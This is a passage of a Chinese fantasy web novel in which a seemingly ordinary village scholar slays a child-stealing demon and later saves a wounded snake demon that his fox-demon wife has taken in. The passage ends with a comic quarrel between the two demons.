他觉得这书生死定了。 突然,妇人张皇失措地大喊起来:“怎么会这样?!” 林清猛地睁开眼。 只见那书生周身青气盘旋,竟如利刃形成的风暴一般,瞬间斩落万千黑丝。 林清呆住。 那鬼婴刚扑到一半,吓得停下脚步。 紧接着,“吱!”地叫了一声,转身连爬带跑。 “想跑?” 淡漠无比的声音响起,陈子均抬起手,指尖对着鬼婴遥遥一点。 倏忽间,一道青光自他指尖涌现,电射而去。 伴随着青光闪过,那鬼婴的脑袋竟然像是被利刃斩过,立即以四十五度角,被分成了两截,一只眼睛,连着头部那截啪地一声落到了地上,断口处涌出了一大片的黑气。 这一斩,快到极致,以至于鬼婴还往前冲出了一段路,方才发出凄厉无比的惨叫,倒地抽搐了两下,突然化成一团诡异的黑烟,消散无踪。 而这一切,从始至终,只发生在一息之间! 林清呼吸急促,睁大了眼,呆呆地看着这一切。 他脑中一片空白。 这鬼婴,是姑获鸟那未能出生的胎儿,未离母体便死,怨气惊人,实力仅逊于姑获鸟本体。 换成一个流光境的修士,想杀死这鬼婴,不难。 想秒杀,或许也能做到。 但要像这书生如此云淡风轻,却似乎……不太可能! 何况,他方才还同样云淡风轻地斩断了姑获鸟的长发,这就意味着,对方应该连一小半的实力都还未曾用出! 这人…… 究竟是谁?! 难道是某位驻颜有术又行事低调的隐世前辈?! 短暂的寂静后,妇人尖锐的叫声,在夜色中凄厉回荡。 “你、你杀了我的孩子!” “对啊,”陈子均笑了笑,好整以暇地道,“你杀别人的孩子,我杀你的孩子,这不是很公平吗?” 妇人怨毒地盯着他,目光中充斥着无边的恨意和怨气。 “你究竟是什么人?” “白崖村一书生。” 妇人一愣。 陈子均从容踏上一步,“你们母子情深,我来送你与你孩儿团聚。” 妇人咬着牙,忽然掐住怀中娃娃的喉咙,“放了我,我就将这孩子的魂魄还给你们,否则,我便杀了……” 那个“她”字,还在她唇边尚未吐出,陈子均已经一抬手,青光射出,正中她眉心。 “啊啊啊啊!” 妇人痛苦嘶吼,脸孔扭曲,气息飞快消散,凄厉的叫声回荡在四面八方:“为什么?你不是想要这孩子的魂魄吗,为什么杀我?难道不怕我伤害于她?!” 陈子均诧异道:“我什么时候说过,我是为了这孩子来的?” “那、那是为何?” “你太吵了。” 姑获鸟双目睁大,呆滞而不可思议。 他说什么? 是因为,她太吵? 哀嚎声越来越小。 最后一丝黑气消散,地面上只遗留下一颗黑色小珠。 凶妖姑获鸟,彻底化作飞灰。 …… 林清亦是双目睁大,呆滞而不可思议。 他从未见过,甚至连听都未听说过如此霸道的术法,竟能将妖物直接湮灭为飞灰,无论魂魄肉身,都分毫不剩,似将其在世上存在的痕迹直接抹除,也就是传说中的域外魔族有这个本事。 只是,对方的气息又不像魔族那般邪恶、狂乱,虽然凌厉霸道,却又带着一种神圣威严之意,这便又排除了其为魔族的可能。 震惊片刻后,林清终于回过了神。天澜大陆的疆域辽阔,除了名气最盛的三大宗外,还有不少大小门派,以及不计其数的散修,自然也会有一些偏门罕见的法术道术,倒也不必大惊小怪。 姑获鸟一死,捆住他的长发也化为飞灰。 林清第一反应是先跑到方云身边,击杀了方才被金光震伤的那几个小鬼——它们虽是人类孩童的魂魄所化,但已被怨气侵蚀,无法再投胎转世,留在世间也只会害人。 随后,他再自腰间的小袋中拿出个瓶子,从里面倒出一颗青山宗特制的疗伤丹药,塞进了方云的口中。 做完这些,林清一扭头,视线落在了陈子均的身上。 陈子均已经收起了姑获鸟遗留的那颗妖珠,一手将那小娃娃抱着,另一手漫不经心地勾着她的下巴,逗她开心。 此时此刻,他神态悠闲,气质文雅,浑身气息与凡人无异,俨然就是个在人间各种话本子中与富家小姐花园幽会、或是刚中得头名状元正骑马游街意气风发的俊美书生,哪里像是个刚一指就杀死一头千年凶妖的“前辈高人”。 林清咽咽口水,快步过去,恭恭敬敬地行了个礼,“晚辈青山宗林清,多谢前辈救命之恩!” 陈子均这才瞥了他一眼,道,“顺手而已。” 林清又朗声道,“敢问前辈尊姓大名,今日之恩,林清必将涌泉相报!” “名字就不用了,”陈子均笑笑,“反正你也不会记得。” 林清:“?” 陈子均一指点在了他的眉心。 下一秒,林清倒在地上,双眼紧闭,陷入昏睡。 陈子均掠了他一眼,又笑了笑,“因为,你会忘记方才的一切。” 说完后,他低头,看着怀中的小娃娃,“走吧,我带你回去。” 不知过了多久,林清坐起身,一脸茫然。 第18章 死了吗? 玉蟾坠落,金乌…… 唔,金乌还未开始升腾,鸡啼就已经抢先来临。 “喔喔喔喔——” 前院传来一阵接一阵的高亢嘹亮的打鸣声, 胡翘翘迷迷糊糊地睁开了眼,发现屋内还是一片昏暗。 她揉着眼,张开小嘴打了个哈欠,“坏鸡,怎么叫得这么早呀?天都还没亮呢……” “嗯,还没到卯时(早上五点),”陈子均也醒了,修长的手指轻抚她温热的面庞:“你再睡一会吧。” 胡翘翘只考虑了一秒,便翻了个身,一双柔软纤细的手臂搂住他的脖子,甜甜地道,“不睡啦,难得我醒的时候相公你还在,嘻嘻,今天我要和你一块儿起床。” 陈子均亲了一口她嫩滑的小脸,道:“好,那我们一同起床。” 胡翘翘眨眨眼,“可是,人家又还有点困哦,感觉身上一点力气都没有。” “那怎么办?”陈子均明知故问。 她松开了他的脖子,朝他张了张胳膊,尾巴摇摇摆摆,娇软软道,“相公,你抱我起来嘛,好不好?” 陈子均笑:“娘子有命,小生岂敢不从。” 胡翘翘眉开眼笑,任凭陈子均将她从床上抱起,然后再与他一同更衣。 衣服换好,她又拿起木梳,兴高采烈道,“相公快坐,我来替你梳头。” 陈子均道,“我自己来罢。” “不行,今天我来给相公梳头,然后相公再给我梳头。”胡翘翘拉着他在桌前坐下,甜甜道,“这样才算是恩爱夫妻嘛。” 说着,她便握住梳子,替他一下下地梳起了头发。 她的动作是那么温柔,神态是那么的认真,一下,又一下,将他的黑发每一缕都仔仔细细轻轻柔柔地梳通,待梳好后,再将发束拧紧,用一根竹簪盘成高高的发髻。 盘好后,胡翘翘退后几步,打量片刻,对自己的作品很满意。 “相公真好看。”她凑过来,在陈子均的侧脸上轻轻一吻。 陈子均起身,伸手将她拉过来坐下,“好了,轮到我给你梳头了。” “相公要给我梳得漂亮一点呀。”她认真交代。 陈子均一手托起她的长发,另一手握着梳子,从发尾开始一点点地温柔梳理,“娘子天生丽质,无论梳什么发型都会很漂亮的。” 闻言,胡翘翘的心中甜蜜醺然若醉,脸颊上飞起一片酡红,弯起了唇角,闭上眼,静静地享受着心爱之人用梳齿温柔扫过头皮的感觉…… 梳洗完毕后,两人吃了些昨日买来的点心当做早饭。 而后,陈子均去了私塾。 胡翘翘先将昨天买的东西一一收整好,喂了鸡,拿起竹帚打扫了鸡圈,便拎着几个鸡蛋出了家门,去找住在村头的刘婶儿。 刘婶儿是村里最会做针线的妇人,村中人人都说她做的衣裳,连镇上裁缝铺子的大师傅都比不过。 花了大半个上午,胡翘翘从刘婶儿处学到了男人袍子的做法。 刘婶儿还贴心地借了她几张现成的纸样儿,只需以这些纸样为基准,再根据陈子均的身材稍加调整,便能将布裁剪成袍子的形状,然后再与狐皮一起缝制起来便可。 胡翘翘临走时,刘婶儿又硬塞给她两根山药,一条熏肉,一把芦笋,说是她自家多的吃不完,还有几个刚蒸好的芥菜鸡蛋窝窝头,让她一同带回家。 胡翘翘很是开心,对刘婶儿连连道谢。 回到家中,她先将纸样收好,然后卷起袖子,露出皓如霜雪般的手腕与小臂。 “该准备午饭啦!” 她脚步轻快地来到前院,在鸡笼前蹲下。 众鸡全缩进角落,瑟瑟发抖。 胡翘翘本打算去揪那只个头最大的公鸡,犹豫了下,决定暂时放它一马。 “念在你今早打鸣,能让我与相公一同起床的份上,就晚吃你几天好啦。” 唔,自己真是一只善良的小狐妖呀~ 胡翘翘换了只足有三四斤重的老母鸡,将它抓出鸡圈。 母鸡的翅膀沉沉耷拉下来,一声不叫,似乎预知到了自己即将到来的命运。 胡翘翘将母鸡拎到厨房,一只手捏着母鸡的两只翅膀,另一只手拧住它脖子,稍一用力,拧成两截。 看着自鸡脖子中汩汩流出的鲜血,她下意识地舔了舔嘴唇,然后边摇头,边自语道,“不行,现在还不能吃,等相公回来和他一块儿吃。” 放血、拔毛、炖汤…… 片刻后,胡翘翘揭起瓦罐的盖子。 金黄色的鸡汤正咕嘟咕嘟冒着小泡。 胡翘翘吸了一口气,眸子弯起,“真香!” 午饭时,陈子均自私塾回来吃饭。 他教的学生都是村中孩童,所以,每次到中午,孩子们便会回各自的家用午饭。 按惯例,塾师的一日三餐也应该由各学生家轮流供应,但陈子均总是回家与胡翘翘一同吃,各学生家便都不时送些食材过来给两人,足够两人日常所需。 他洗了手,在桌前坐下。 胡翘翘端上炖好的蘑菇山药鸡汤,还有一盘炒芦笋,加了些许从刘婶儿那里拿来的熏肉末,以及那几个芥菜鸡蛋窝窝头。 “怎么今天做这么多菜,还有,这窝窝头做起来很麻烦吧,”陈子均一怔,看了她一眼,“我说过你身体不好,别太操劳。” “熏肉和窝窝头都是刘婶儿给我的,”胡翘翘笑嘻嘻地道,“我就煮了个汤,炒了个芦笋,也不怎么辛苦。” 陈子均这才放心。 “相公,吃个鸡腿,”胡翘翘伸出筷子,给他夹了个鸡腿,边得意地邀功,“今天做饭的时候,我连一口都没有偷吃,是不是很乖呀?” “确实很乖。” 陈子均笑了,也给她夹了个鸡腿,“奖励你。” “相公真好~”胡翘翘美滋滋地啃起了鸡腿。 吃过午饭,见水缸中所剩的水不多了,陈子均让胡翘翘去休息,自己则是去水井处打了些水,再将碗洗了,方去了私塾。 胡翘翘午觉醒转,从柜子中取出一匹蓝布,开始替陈子均做袍子。 刚按照纸样儿在布上画了个轮廓,她突然想到一事,轻拍了下脑袋。 “哎呀,昨儿换的衣服还没洗呢。” 片刻后,她端着装了脏衣服的木盆,刚走进前院,忽然,院中的一处地面震动起来。 胡翘翘愣了愣,朝震动之处望去。 砰! 她手中木盆落地,整个人也下意识地哧溜一声,钻到了鸡笼后。 只见那处地面开裂,而后,从深处缓缓爬出了一条三四米长的黑蛇。 爬出后,它便躺在地上,一动不动。 胡翘翘等了片刻,外面毫无反应,才惊疑不定地从鸡笼后探出小脑袋。 她见那蛇躺在地上不动,胆子才又大了少许,从笼后出来,蹑手蹑脚的过去。 近了后,她才发现,这蛇并不是黑色,而是绿色,它似乎被雷电劈过或是火灼烧过,所以通体焦黑,甚至还能隐隐闻到焦糊的气味儿,背上有个巨大的伤口,皮肉外翻,露出森森白骨,只有蛇头与蛇尾的鳞片还保持着原本的翠绿之色。 见它一直没动静,胡翘翘壮起胆子,用足尖轻踢蛇尾。 “死了吗?” 许是被她惊动,那蛇忽然微弱地扭动了下,蛇嘴开阖,一个气若游丝的少女声音,传了出来,“救……救……我……” 第19章 救不救【求追读】 村边,私塾。 大多数私塾的教学安排都颇为相似,上午夫子为学生们讲解圣贤文章,下午则各自诵读、练习书写,偶尔会有算课或是绘画。一天的时间段中,夫子还会随机抽查知识点,一旦学生答不出,就会受罚。 此刻,孩童们便都正襟危坐,各自摇头晃脑的读书。 陈子均则是在检查方才孩子们交上来的练字纸。 为了实用,孩子们练习的都是端庄工整又不失优美精巧的小楷。陈子均一张张翻阅,倘若见到有字写得不错,他便以朱笔打个小圈,以示鼓励。 等他批阅完毕后,这些练字纸还会再发下去。孩子们热衷于比较各自纸上的红圈多少,红圈多的,便欢天喜地,自觉胜过其他学生一头。红圈少的,则垂头丧气,暗下决心要努力练字,再一雪前耻。 刚批到一半,陈子均心有所感,放下手中朱笔,扭头朝某处望去。 这一带都在他的神念笼罩下,任何风吹草动都逃不过他的感知。 昨晚那条以土遁之术逃入白崖村的小蛇妖自不例外。 他见它被天雷劈中,已然重伤濒死,撑不过十二个时辰,不想引来无谓的麻烦,便没有特意搭理。 没想到,它竟然被自家娘子撞见…… 最终,陈子均只是微眯了下眼,便神情如常地继续批阅手中的练字纸。 天近黄昏。 翘首以待了许久后,胡翘翘终于见到浴着暮色而来的陈子均的身影,她连忙拎起裙摆,一路碎步小跑地迎上去。 “相公相公,你终于回来啦。” 陈子均的嘴角弯了起来,“怎么,等急了?” “相公……”胡翘翘却没笑,她捏着裙摆,左右环顾了一圈,见四周无人,方有些迟疑地开口,“相公,下午发生了件事,我不知道该不该和你说……” 陈子均有些疑惑:“怎么,娘子你还有什么事情,是要瞒着我的吗?” “不是不是,翘翘永远都不会对相公隐瞒任何事的,永远都不会对不起相公的信任,”胡翘翘顿时急了,来回摆着小手,解释道,“我、我只是怕吓到你……” 陈子均皱了下眉:“吓到我?这件事很可怕吗?” 遇到一个蛇妖这种事,在凡人的眼中,想必是很可怕的吧…… 胡翘翘点点头,犹疑地轻声道,“应、应该是的。” 陈子均低头看着她,叹了口气,“那我就更要知道了。” “为什么?” “我是你相公,你遇到可怕之事,却不告诉我,我会担忧。” “……好。” 胡翘翘拉着陈子均,走到了厢房的门外。 还没推门,她就突地踮起脚,一双软软的小手将他双眼捂住。 “相公,你、你先做一会心理准备……” 她语气凝重,“等你说好了,我再放开……” 静了片刻,陈子均说,“好了。” 胡翘翘慢慢松开了手。 陈子均的视线朝内探去,而后,他便看见厢房的床上,躺着一条大蛇。 他自然是震惊地扭头,“娘子,哪儿来的这么大的一条蛇?!” 对上陈子均“惊愕”的眼神,胡翘翘满是紧张地解释道:“是这样的相公,我也不知道它从哪儿来的,刚才我准备去洗衣服,突然它自己从地下钻出来啦……它好像受了重伤,开口求我救它,我怕别人看见,就把它弄到了房间里……” 陈子均抽了口冷气,“你是说,它会说话?难道它是蛇妖?” “应、应该吧……我在它身上感觉到了妖气……”胡翘翘扯着他的袖子,小声问,“相公,现在该怎么办啊?” 陈子均,“……你问我?” “因为相公你什么都懂嘛……它的伤好像很重,会不会死啊?” 陈子均扫了眼,“应该不行了。” 这蛇妖体内的妖气和生机都已经濒临断绝,百分之百活不到明早。 胡翘翘咬了咬唇,小声问,“相公,你不是会治病吗,能治好它吗? “我只会治人,不会治蛇,你真当我什么都能办到啊。” 随后,陈子均见她有些闷闷不乐的样子,便问,“不早了,晚饭做了吗?” “我现在去做。”胡翘翘垂头转身。 晚饭是用中午的剩鸡汤煮的面条。 胡翘翘挑着面条,慢慢吞吞地吃着。 陈子均睨了她一眼,筷子轻敲了下她的碗,等她抬眸看过来,他才淡淡地问,“在想什么?” 一副魂不守舍的样子。 胡翘翘鼓了鼓腮帮子,小声说,“我是在想,能不能做点什么帮那条蛇妖……” “……它是你朋友?” 胡翘翘立马摇头,“怎么可能,我今天是第一次见到它。” “那它死就死了,为什么要帮它?” “……不管怎么说,都是一条性命嘛,”胡翘翘用筷子扒拉着已经开始发胀的面条,低声道,“如果就这么看着它死掉,我却什么也不做的话,以后想起来,我肯定会很内疚的……” 她咬着筷子,又忐忑地看向陈子均,“书上也说,做人要但行好事,莫问前程……” 陈子均看着她。 很久很久之前的一些事,慢慢浮上他的心中。 从他们相遇的那一刻起,她就是这样。 既狡黠,又善良。 即便没有了记忆,她依旧,一直没变过。 他叹了口气:“随你吧。” 村中基本家家户户都会有些晒好的草药,比如治暑热、驱蛇毒、或是用来敷跌打损伤、止血生肌的。 饭后,胡翘翘便去找几户人家要了些用得上的草药,煎成一大碗药汤,再端进了厢房。 她摸了摸那条蛇,发现它全身冷得像要结冰一般,连忙在床边生了个火盆,又抱来几床冬天的厚棉被,替它裹上,再然后,掰开蛇嘴,将药汤倒了进去。 做完这几件事,她叹了口气,小声喃喃道,“我尽力啦,你能不能活下来,就看老天的吧。” 亥时过半(晚上十点),如往常般,胡翘翘躺上了床。 她正要合眼,忽然想到什么,一扭身,看着陈子均,“相公,这条蛇妖会不会就是钱塘县的那条青蛇妖呀?“ 陈子均漫不经心地回,“可能吧。” “那她应该不是坏妖怪吧……” 她打了个小小的哈欠,闭着眼,声音飘忽地说,“我还是第一次见到我以外的妖怪呢,要是她能活下来的话,我想和她聊聊天儿,说不定,还能让她教我几样法术……” 第20章 你确定?【求追读】 上子时。 一天的极阴之时。 据传,自轮回界而来的魂差,总是在这个时刻来到人世间,拘走寿命已尽的亡魂。 亦就在今夜,此刻,白崖村的小路上,便凭空地渐渐浮现出了两道略带虚幻的身影。 一人穿黑袍,一人着白裳,面孔都是模糊不清,双足吊起,足尖悬于离地面半尺之处,像是没有半分重量的浮絮一般,在夜风中飘飘摇摇。 “今夜的最后一个,便在此地了。” 黑袍者抬头看了眼前方不远的一座小屋,声音飘忽不定,仿若来自另一个世界。 “走罢!”白裳者率先飘向前方,黑袍者跟在其后。 眨眼便来到院外,他们既不敲门,也不攀墙,身形一晃,便直接穿过院墙,仿佛那青砖砌成的墙壁只是幻觉一般。 紧接着,两人依旧毫无阻碍地进入了院旁的厢房。 房间内,火盆内的木炭还在明亮燃烧,但床上的蛇妖,已然是有出气,无进气,盘曲起的蛇躯上,隐隐笼罩着一层肉眼无法看到的阴森死气。 白裳者大袖一抖,手中出现一卷书册。 展开后,平静诵念。 “岑碧青,妖类,本体乃峨眉山下一条青竹蛇,寿元七百二十八年又三个月零七天。今日你寿元已尽,速随我等前往轮回……” 死气浮动,自蛇头的眉心中间,渐渐现出条不停挣扎的小小青蛇。 这条小青蛇的外形与床上的青蛇妖一模一样,只是体型小上千倍,若有修士在此,便能认出,它并非真正的蛇,而是床上这条蛇妖的命魂。 三魂之中,命魂乃根本,也是最重要的主魂。 命魂一旦离体,身体就会彻底死亡。 随着白裳者的诵念之声,小青蛇如被一只无形的大手捏住一般,逐渐被拔离蛇头。 它的身躯受损过重,妖力弥散,七魄已经无力保护命魂,此刻的它,力量微弱之极,根本无法与这诵念之力相抗,依旧一点点地被拔出了本体…… 但它仍在竭力挣扎。 黑袍者森然地道:“你寿元已尽,休要再做徒劳抵抗!” 小青蛇的扭动却愈发疯狂! 不,它不甘! 它还未曾救出被镇压在塔下的姐姐! 就这么死去,实在不甘! 死也不甘! 黑袍者有些不耐,抬起一只手,手指对着小青蛇轻轻一弹:“嗟!蚍蜉撼树,白费力气!” 小青蛇全身一震,双眼紧闭,瘫软下去。 失去抵抗之力后,它被拔出的速度便更快了几分,眼见还差一寸,蛇尾便要脱离蛇头。 亦是代表着,它的命魂彻底脱离肉身,将再也没有半点抵抗之力。 就在此刻,房门忽然被推开。 黑袍白裳齐齐望去。 门外,清冷月光透入,一道挺拔而修长的身影踏着月色缓步走进。 黑袍白裳都是一愣。 来的,竟然是个华茂春松般的俊逸书生。 玉树临风这个词用在他的身上,再为合适不过。 不过,从气息来断,只是个肉眼俗胎的凡人,别说能对他们有所威胁了,甚至连他们的衣角都没法看到一片。 但书生的下一个举动,便让他们知道,判断出了错。 书生并未看他们一眼,而是径直走到床边,神情无波无澜地抬起手,下一秒,白玉般的掌心,虚虚按在那条小青蛇的脑袋上。 淡青色光华陡然涌出,将那白裳者的诵念之力阻隔在外。 那将小青蛇拔离的力量,也同时消失。 而后,书生手掌下按,竟然将那青蛇的命魂给生生按了回去! 黑袍脸色一变,怒道:“你是何人,居然敢破坏我们魂差的公务!” 但那书生却对他们的话充耳不闻,手心之中,一股淡淡的奇异之力涌出,在这奇异之力作用下,残破的蛇躯渐渐重焕发生机,妖力开始缓慢凝聚。 白裳者手中的那卷书册,其上的字样亦是缓缓发生变化,最终,“寿元”后的数字消失,取代的是“未知”二字。 “万物生死,本有天定,你竟敢擅自干涉!” 黑袍者大怒,大袖一甩,骤然间脸上样貌变幻,成了恐怖无比的恶魂,身上的黑袍也膨胀起来,无风自动,化作了形状狰狞的巨大阴影,张织了整个厢房! 那阴影中,鬼影重重,鬼哭阵阵,阴风徐徐,还有黑色的腥血在滴落,一只巨大的黑色鬼爪自其中伸出,恶狠狠地抓向书生。 黑袍的声音愈发森冷残忍,响彻房间,震慑神魂:“既然如此,就连你的魂一块带走,去轮回殿听审……呃!” 不料,那鬼爪落在书生的身上,就仿佛阴雪落入沸汤,连个气泡都未冒出,便飞快消失。 黑袍那森冷残忍的声音,就戛然而止,像是被什么扼住了喉咙。 书生这才扭头,看着他笑了笑,“你确定?” 这一笑,极为平静,却让黑袍心中一颤,生出种透彻骨髓的寒意! 一时间,他竟有种错觉,要被摄走神魂的不是对方,而是他! 对方的实力,比他强大太多,简直到了深不可测的境地! 就在这时,白裳者看向窗外,突然清了清嗓子,“上子时已过,下子时已到。” 过了上子时,便是一天阴极阳生,阴阳转换之时,而按照轮回界的规定,魂差也不能再拘走任何亡魂。 “原来时间已经过了,”黑袍者立马开口,“哼,算这条蛇妖运气好,今天便放它一马。” 只是,那语气中带着几分极不自然的僵硬。 白裳者快速掠过那书生一眼,对黑袍者道,“走罢,我们回去,如实复命即可!” 身为魂差,被人从手中将要拘走的亡魂抢走这事儿,虽不多见,但在轮回界以万年为单位的历史中,也并非罕见到凤毛麟角。 毕竟人间也有不少强大的妖族或是修士,其亲友濒死时,为了护住亲友的命魂不被拘走,情急之下,也可能与魂差动手争斗。 别说这书生的实力似是深不可测,他们显然不是对手,即便能胜过对方,生死簿上的这条蛇妖寿元已经发生变化,按照规定,他们也无法再拘走它的命魂。 黑袍者点点头。 二人不再迟疑,身形没入黑暗,很快,在房间中消失。 第21章 小青【求追读】 岑碧青缓缓睁眼,眼前陌生的小房间,让她双眸凝滞。 这是……哪儿? 硕大的蛇头略带疑惑地摆动。 她依稀记得,自己中了那个青山宗小鬼的一记雷击,落入河水中,而后,她爬上岸,用最后的妖力,施展土遁,不择方向亡命逃走…… 这雷击不仅伤了她的肉身,还伤到了她的命魂。 后背的伤口、命魂的虚弱、加上妖力的流逝,让她知道,自己命不久矣。 后来,似乎有人发现了她,她只说出“救……我”两个字,便晕了过去。 再后来,她感觉自己生机已绝,还看到了前来拘魂的魂差……但很快便再次没了意识。 为何此刻,她还活着? 抑或,那些都只是她的错觉? “咝——”后背传来的剧烈的疼痛,让岑碧青猛地吐出蛇信。 这时,她才感到全身上下没一个地方不疼,就像是被一个巨大的擀面杖给来回碾了十七八遍般剧痛难忍。 它盘起身子,开始检查自己的伤势。 等检查完后,岑碧青不禁蛇脸发黑。 这次她命魂受伤惨重,原本七百余年的修为,此时只剩下三百年左右,成了最低级的小妖,也就勉强能化形、使用些不入流的小法术。 妖族和人类这种为天地所钟的物种不一样,妖族即便能化成人形,但无论是修炼命魂的速度,还是命魂受损后的恢复速度,依旧比人类修士要缓慢得多。 所以,一些仅修炼了几十年的修士,却往往能击败妖龄数百年甚至上千年的妖怪。 正因此,这一击直接让她修为倒退大半,不知需多久才能回到之前的实力! 岑碧青越想越气,咝咝吐着信子,以蛇语将青山宗的那两个混蛋的祖宗十八辈儿、家里的男女老少都骂了个翻来覆去,顺便将整个青山宗也骂了个遍,用词极其污秽不堪。 正骂到青山宗扫地大爷的三姑奶奶的小舅子时,忽然,有人推开房门,走了进来。 看见她后,那人似是有些难以置信地愣了一会儿,方才惊喜地软声道,“咦,你醒了?” 岑碧青忽地愣住。 眼前的这小娘子,长得可真漂亮! 一张娇俏无比的芙蓉面,玉也似的肌肤,既有明月清晕的清透,又如花树怒绽的动人,双眼中浅浅妩媚流转,不是张扬过头的妖冶,却能撩得人心痒痒。 她曾认为姐姐的美貌已是世上难寻,没想到,竟有人比姐姐还要美上几分。 惊艳片刻,岑碧青才醒悟过来。 她挺直脑袋,盯着那小娘子,“你不怕我?!” 小娘子略歪脑袋,疑惑反问,“为什么要怕你呀?” “你看不出么,我是蛇妖?!”岑碧青吐了吐信子,发出冷酷的咝咝声。 正常情况下,一个凡人,见到蛇妖,理应会被吓得魂飞天外。 好比那个许仙一般。 小娘子却眨了眨眼,“我也是妖怪呀。” 岑碧青一愣,“你是什么妖怪?” “狐妖。” 她恍然。怪不得这小娘子生得如此妩媚迷人。 原来是在妖族中也以美貌闻名的狐妖。 对了,当时她开口求救的对象,似乎就是这个小娘子。 想必是对方救了她。 “让我看看你的伤,行吗?”胡翘翘轻声问。 岑碧青稍一犹豫,便将身子老实地俯了下来。 她现在受伤这么重,就是一个最普通的小妖,她也不是对手。 何况,对方若要对她不利,在她昏迷时多的是机会,不需要趁现在。 胡翘翘查看了一番它背后的伤口,有些惊讶,“你的伤好得还真快。” 昨天那伤口还狰狞无比,今天虽然也颇为吓人,却隐隐有了开始愈合的痕迹。 她转念一想,相公说过,妖族的肉体比人类要强盛得多,这种皮肉伤好得快也正常。 见对方的蛇躯上全是血啊土啊混作一团,胡翘翘心生怜悯,轻声道,“你身上很脏,我去打盆水来帮你擦一擦,好吗?” 岑碧青也不客气,“谢谢。” 她本可用法术清理身体,但现在她体内妖气有限,能省则省。 胡翘翘打了一盆水来,用湿布慢慢替她擦拭伤口和蛇鳞。 岑碧青的视线在房间里掠过,注意到了床边的火盆,还有一旁的棉被。 “这个火盆,还有棉被……是你给我的?” “嗯,当时你身子很冰,我也不知道该怎么救你,只能试着用这些啦,”胡翘翘笑笑,又说,“我叫胡翘翘,你呢,叫什么名字?” “岑碧青。” “陈碧青?” “是岑。”蛇妖用尾巴尖沾起了盆子里的水,在墙壁上写了个岑字。 “喔。”胡翘翘点点头, 她没好意思说之前她都不认识这个字。 蛇妖顿了顿,说:“你也可以叫我小青。” 话音刚落,蛇腹中忽然传来一阵咕噜咕噜的声音。 胡翘翘一怔,又恍然道,“你是饿了吧,我给你找点东西来吃。” “无需!” 小青盘起身子,蛇眼紧闭,蛇头向天,开始缓慢吐纳。 妖怪的食量很大,但可以通过吞吐天地元气来填补生机,否则以她的实力,半座山的野兽估计也不够她吃的。 胡翘翘不知道自己每夜吸收了大量月华,方才能控制这和常人一般的食量,只是颇为好奇地看着小青的举动。 “你在干什么?” “吐纳修炼!” 原来这就是妖怪的修炼呀…… 胡翘翘心中一动,这个叫小青的蛇妖,似乎还挺好说话,或许以后她能向对方请教请教…… “那你慢慢吐纳吧,”她端起盆子,柔声道,“我去做午饭啦,相公待会儿要回家吃饭。” 小青猛地睁眼,吐纳中断。 “等等,你说相公?你有相公?!” 胡翘翘见它突然表现如此激动,有些疑惑地皱起了眉头,“对呀,怎么啦?” 小青打量着她,这才注意到她梳的是一种名为凌虚髻的妇人发式,秀发都挽在脑后。 她皱皱眉,又问,“你相公又是什么妖怪?” “我相公啊……” 提起相公,胡翘翘的眼波都柔软了几分。 “他不是妖怪,只是一个凡人,”她轻轻地翘起嘴角,双眸明亮温柔,“不过,他是我心里最好最好的相公,对我温柔体贴,不在意我是妖怪,还读过很多很多书……” “你相公是凡人?!还是个读书人?!” “对呀。” 小青一下竖了起来,蛇尾重重拍打床板,蛇信不停吞吐,“呸,天下男人没一个好东西,都是一般负心薄幸!尤其是读书人,整天满口仁义道德,却最是虚伪软弱,无情无义!依我看,你还是一口咬死他,再去寻个更出色的妖怪丈夫好了!” 第22章 恋爱脑狐妖!(求追读) 胡翘翘怔了怔,她眯起漂亮的双眼,但表情没有丝毫变化,笑颜不减,柔柔软软的,“小青,我们还不太熟,不适合开这种玩笑哦。” “我不是开玩笑,是认真的。”小青看着她,心中感叹这只狐妖是她见过最漂亮,也是最单纯的妖怪,比她姐姐还要傻上几分。 对方救过她的命,是以,她一定要唤醒对方。 “我在人间生活了这么久,见多了男人。这些人类男子,就没有不负心薄幸的,尤其是读书人!好比我姐姐嫁的那个许仙,平日里靠我姐姐维持保安堂的生意,满嘴山盟海誓、甜言蜜语,”小青回忆当时的情景,气得蛇躯不断发抖,“但青山宗的人找上门后,他竟吓得尿了裤子,眼睁睁地看着对方将姐姐镇压在塔下,甚至连替她求情的话都没有一句!” 胡翘翘一愣。 对方还真是那条钱塘县的青蛇妖。 只不过,许仙和白娘子的真实故事,却与她在酒楼中听那说书先生讲的有些出入。 “……许仙是许仙,我相公不一样。”胡翘翘的声音依旧很轻柔,甚至还有些更轻柔的笑意在里面,但若是熟悉她的人,便会知道,这笑意中其实含着几分冷意——她已经有些怒意了。 “小青,我相信我相公,他绝对不可能做出和许仙那般的事,你再这样污蔑他,我可要生气了。” 就像那天在顾行天的家中,那两个假冒的青山宗仙师来到时,相公第一时间就把她护在了身后。 她只是不怎么爱动脑,但并不笨,也不傻。 相反,在遇到很多事情的时候,她比绝大多数的人都要聪明。 这种遇到突发事件时的本能,是很难伪装的。 比大部分人想象的都难伪装。 还有,相公看她时的目光,对她生活里方方面面、每一个细节的关心,也都是伪装不了的。 甚至连她的命,都是相公给的。 同样,她这条命,也可以随时给他。 就算……就算有一天相公真的不爱她了,只要说一声,她也绝对不会对他有任何纠缠或怨恨。 更甚至,即便相公真的是十恶不赦之人,或是因为某些目的,存心欺骗了她…… 她对他的爱,也不会因此减少半分! “你怎么和我姐姐一样傻,不,我看,你比她更傻!”小青怒气冲冲,却又有种无力感,恨不得一口将眼前这只小狐妖咬个半死,好让她清醒清醒,“哼,那男人一定是个擅长巧言令色、专门欺骗女人的无耻之徒!只是贪图你的美貌,才哄骗着对你好。你若下不了手,那我来替你咬死他!” 胡翘翘又看了她好一会儿,低笑着,牵出了一句话,“我方才是不是说过,不许你再这样污蔑我相公了?你还说,想咬死他?” “……”青蛇抬头看着她,忽然觉得身上有点儿寒意。 这小狐妖的笑,此刻看起来,怎么有点瘆人呢…… 胡翘翘在屋里看了一圈,没发现趁手的物事,便去了前院,一把抓起方才扫过鸡笼的竹笤帚,直奔厢房来了。 小青见她去而复返,手中还多了一根笤帚,忍不住问:“你要干什么?” 胡翘翘怒气冲冲地举起笤帚,对她劈头盖脸地打了过去,“从前相公给我讲过‘农夫与蛇’的故事,说蛇类是冷血动物,惯常恩将仇报,我还觉得许是他不喜欢蛇,所以才这样说。现在看来,相公是一个字都没说错!” 相公果然永远都是对的! 小青身受重伤,动作迟钝,直接挨了好几下。 她很想哭。 堂堂七百年大妖,竟然被一个笤帚打得无法还手,真是憋屈欲死。 “我救了你,你却说我相公坏话!还说要咬死他!”胡翘翘板着脸,红着眼圈,一边打,一边骂,“早知如此,昨天就不应该管你,让你直接死掉好了!” 